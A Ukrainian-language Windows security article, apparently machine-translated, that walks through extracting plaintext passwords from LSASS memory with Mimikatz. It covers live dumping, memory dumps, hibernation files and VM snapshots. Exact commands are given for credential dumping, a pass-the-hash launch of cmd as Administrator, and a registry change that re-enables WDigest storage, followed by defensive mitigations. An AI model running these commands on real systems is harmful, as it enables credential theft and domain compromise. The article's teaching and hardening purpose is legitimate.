У цій статті, написаній в рамках серії статтею, присвяченій забезпеченню безпеки Windows-систем (в останній статті ми обговорювали питання безпеки паролів, збережених в GPP), ми познайомимося з досить простою методикою отримання у відкритому вигляді паролів всіх користувачів, що працюють в Windows-системі за допомогою Open Source утиліти Mimikatz.
Дісклаймер. Інформація та технології, описані в даній статті, варто використовувати тільки в інформаційно-ознайомлювальних цілях, і ні в якому разі не застосовувати для отримання доступу до облікових записів, інформації і систем третіх осіб.зміст:
- Зберігання паролів і хеш в пам'яті Windows
- Використовуємо Mimikatz для добування паролів користувачів з lsass.exe онлайн
- Отримання пароля користувача з дампа пам'яті Windows
- Отримання паролів користувачів з файлів віртуальних машини і файлів глибокого сну
- Використання Mimikatz в pass-the-hash атаках
- Як захистити Windows від добування паролів з пам'яті через mimikatz?
Зберігання паролів і хеш в пам'яті Windows
Більшість системних адміністраторів перебувають у впевненості, що Windows не зберігає паролі користувачів у відкритому вигляді, а тільки у вигляді його хеша. І хоча на сьогодні існує велика кількість утиліт, які здатні мати хеші призначених для користувача паролів з системи, можна з певною упевненістю сказати, що при використанні досить складного пароля не «зі словника", у зловмисника практично немає шансів підібрати його прямим брутфорсом або по базі вже розрахованих хеш.
В принципі, це так але є різні нюанси, що стосуються користувачів, залогіненним в конкретній системі Windows. Справа в тому, що деякі системні процеси в своїх службових цілях все-таки використовують паролі користувачів у відкритому (або зашифрованому) вигляді, а не їх хеші.
Так, наприклад, механізм дайджест-аутентифікації (HTTP Digest Authentication), використовуваний для підтримки SSO (Single Sign On), для своєї роботи вимагає знання вводиться пароля користувача, а не тільки його хешу (про те, чому розробниками це було реалізовано саме так, можна тільки здогадуватися). Паролі (саме паролі, а не їх хеші) користувачів в зашифрованому вигляді зберігаються в пам'яті ОС, а якщо бути більш точним в пам'яті процесу LSASS.EXE. Проблема в тому, що шифрування паролів реалізовано за допомогою стандартних Win32 функцій LsaProtectMemory і LsaUnprotectMemory, які призначені для шифрування / розшифрування деякої ділянки пам'яті. Утиліта французьких розробників mimikatz дозволяє отримувати зашифровані дані з пам'яті і розшифровувати їх за допомогою функції LsaUnprotectMemory, дозволяючи вивести на консоль всі облікові записи користувачів, авторизованих в системі, і їх паролі (у відкритому, вже розшифрованому вигляді!). Для експлуатації уразливості атакуючий повинен мати можливість приєднати спеціальну бібліотеку до процесу lsass.exe.
завантажити утиліту mimikatz можна тут: http://blog.gentilkiwi.com/mimikatz
інфо. Утиліта mimikatz детектується більшістю антивірусів і браузерами, як потенційно небезпечне ПО (хакерська утиліта).Утиліта mimikatz дозволяє витягти паролі користувачів безпосередньо з пам'яті (шляхом ін'єкції в lsass.exe бібліотеки sekurlsa.dll), з збереженого дампа пам'яті комп'ютера або навіть з файлу гібернації.
Використовуємо Mimikatz для добування паролів користувачів з lsass.exe онлайн
- Скачайте і запустіть Mimikatz.exe з правами адміністратора (тобто x86 і x64-версії утиліти для відповідних систем)
- В контексті утиліти виконайте команди
mimikatz # privilege :: debug
mimikatz # sekurlsa :: logonPasswords full
(Остання команда для все активних користувачів в системі відобразить імена облікових записів і їх паролі).
Як ви бачите, утиліта показала нам суперскладний пароль користувача user в відкритому вигляді! Все це завдяки тому, що на даному комп'ютері дозволено використовувати режим налагодження, виставляючи прапор SeDebugPrivilege для потрібного процесу. У цьому режимі програми можуть отримувати низькорівневий доступ до пам'яті процесів, запущених від імені системи.
Уявіть собі, що це термінальний сервер, на якому одночасно працюють безліч користувачів, і на якому є в тому числі сесія адміністратора підприємства. Тобто при наявності прав адміністратора на одному єдиному сервері можна навіть перехопити пароль адміністратора домена.
Примітка. У червні 2017 року багато великих компаній Росії, України та інших країн були заражені вірусом-шифрувальником not-petya, які для збору паролів користувачів і адміністраторів домену використовував в тому числі інтегрований модуль mimikatz.Примітка. Дана методика не спрацює при наявності на системі сучасного антивіруса, блокуючого ін'єкцію. В цьому випадку доведеться спочатку створити дамп пам'яті машини і вже на іншій машині "витягнути" з нього паролі для сесій всіх користувачів.Отримання пароля користувача з дампа пам'яті Windows
Дамп для процесу LSASS можна отримати за допомогою PowerShell функції Out-Minidump.ps1. Імпорт функцію Out-Minidump в PoSh і створіть дамп пам'яті процесу LSASS:
Get-Process lsass | Out-Minidump
Одержаний дамп пам'яті, в нашому прикладі це lsass_592.dmp (За замовчуванням він зберігається в каталозі% windir \ system32%), потрібно скопіювати на інший комп'ютер, в якій є утиліта mimikatz і виконати команду:
Mimikatz "sekurlsa :: minidump lsass_592.dmp"
І наступною командою отримаємо з збереженого дампа пам'яті список користувачів, які працюють в системі і їх паролі:
mimikatz # sekurlsa :: logonPasswords
Як ви бачите, нічого складного.
Таким способом можна отримати дамп пам'яті з віддаленого комп'ютера за допомогою psexec або через WinRM (при наявності прав адміністратора) і витягти з нього пароль користувача.
Отримання паролів користувачів з файлів віртуальних машини і файлів глибокого сну
Йдемо далі. За допомогою простих маніпуляцій зловмисник може легко витягти паролі користувачів з файлів дампов пам'яті, файлу гібернації системи (hiberfil.sys) і. vmem файлів віртуальних машин (файли підкачки віртуальних машин і їх снапшоти).
Для цього знадобиться пакет Debugging Tool for Windows (WinDbg), сам mimikatz і утиліта перетворення .vmem в файл дампа пам'яті (Для Hyper-V це можливо vm2dmp.exe або MoonSols Windows Memory toolkit для vmem файлів VMWare).
Наприклад, в разі необхідності перетворити файл підкачки vmem віртуальної машини VMWare в дамп, виконаємо команду:
bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp
Отриманий дамп завантажуємо в WinDbg (File -> Open Crash Dump), завантажуємо бібліотеку mimikatz з ім'ям mimilib.dll (версію вибрати залежно від розрядності системи):
.load mimilib.dll
Шукаємо в дампі процес lsass.exe:
!process 0 0 lsass.exe
І нарешті, набираємо:
.process / r / p fffffa800e0b3b30
!mimikatz
і отримуємо список користувачів Windows і їх паролі у відкритому вигляді.
Отримання паролів користувачів Windows у відкритому вигляді за допомогою утиліти Mimikatz працює на наступних системах, в тому числі запущених на Гіпервізор Hyper-V 2008/2012 і VMWare різних версій:
- Windows Server 2008/2008 R2
- Windows Server 2012 / R2
- Windows 7
- Windows 8
Використання Mimikatz в pass-the-hash атаках
У тому випадку, якщо не вдається отримати пароль користувача, а тільки його хеш, Mimikatz можна використовувати для так званої атаки pass-the-hash (повторне використання хеша). В цьому випадку хеш може використовувати для запуску процесів від імені користувача. Наприклад, отримавши NTLM хеш користувача, наступна команда запустить командний рядок від імені привілейованого аккаунта:sekurlsa :: pth / user: Administrator / domain: CORP / ntlm: NTLM-хеш / run: cmd
Як захистити Windows від добування паролів з пам'яті через mimikatz?
У Windows 8.1 і Server 2012 R2 (і вище) можливості по вилученню паролів через LSASS дещо обмежені. Так, по-замовчуванню в цих системах в пам'яті не зберігаються LM хеш і паролі у відкритому вигляді. Цей же функціонал бекпортірован і на більш ранні версії Windows (7/8 / 2008R2 / 2012), в яких потрібно встановити спеціальне оновлення KB2871997 (Оновлення дає і інші можливості посилити безпеку системи) і в гілці HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ SecurityProviders \ WDigest установити параметр DWORD реєстру UseLogonCredential рівним 0 (WDigest відключений).
Якщо після установки оновлення і ключа UseLogonCredential спробувати витягти паролі з пам'яті, ви побачите, що mimikats за допомогою команди creds_wdigest не зможе витягти паролі та хеші.
Однак при наявності прав адміністратора ви зможете легко змінити цей ключ:
reg add HKLM \ SYSTEM \ CurrentControlSet \ Control \ SecurityProviders \ WDigest / v UseLogonCredential / t REG_DWORD / d 1
Після цього ви знову зможете отримати доступ до паролів в пам'яті LSA.
В інструментарії mimikatz є й інші інструменти отримання паролів і їх хеш з пам'яті (WDigest, LM-hash, NTLM-hash, модуль для захоплення квитків Kerberos), тому в якості рекомендацій рекомендується реалізувати наступні заходи:
- Заборонити зберігати паролі з використання оборотного шифрування (Reversible Encryption)
- відключити NTLM
- Заборонити використання збережених паролів в Credential Manager
- Заборонити кешувати облікові дані доменних користувачів (ключ CachedLogonsCount і політика Interactive logon: Number of previous logons to cache)
- Якщо функціональний рівень домену не нижче Windows Server 2012 R2, можна додати облікові записи адміністартороав в спеціальну групу Protected Users
При тестуванні mimkatz в Windows 10 Pro x64 з настройками утиліта mimkatz 2.0 змогла отримати хеші пароля активного користувача (але не пароль у відкритому вигляді).
На старіших системах потрібно в якості тимчасового рішення потрібно обмежити отримання привілеї debug і відключити постачальника безпеки wdigest через реєстр. Для цього в гілці HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Lsa знайдіть ключ Security Packages і видалити зі списку пакетів рядок wdigest. Однак потрібно розуміти, що атакуючому, при наявності відповідних прав на реєстр, не важко буде повернути настройки назад.
висновки. Ще раз нагадуємо прописні істини:
- Не варто використовувати однакові паролі для різних сервісів (особливо термінальних, що знаходяться у володінні третіх осіб).
- Задумайтесь про безпеку ваших паролів і даних, що знаходяться на віртуальних машинах в хмарах, адже ви не можете бути впевненими в тому, у кого ще є доступ до Гіпервізор і сховища, на якому розташовані файли віртуальних машини.
- Мінімізуйте в своїх системах кількість облікових записів, що володіють правами локального адміністратора (див. Гайд про організацію захисту облікових записів адміністраторів в середовищі Windows)
- Ніколи не заходьте з обліковим записом адміністратора домена на сервера і комп'ютери, доступні іншим користувачам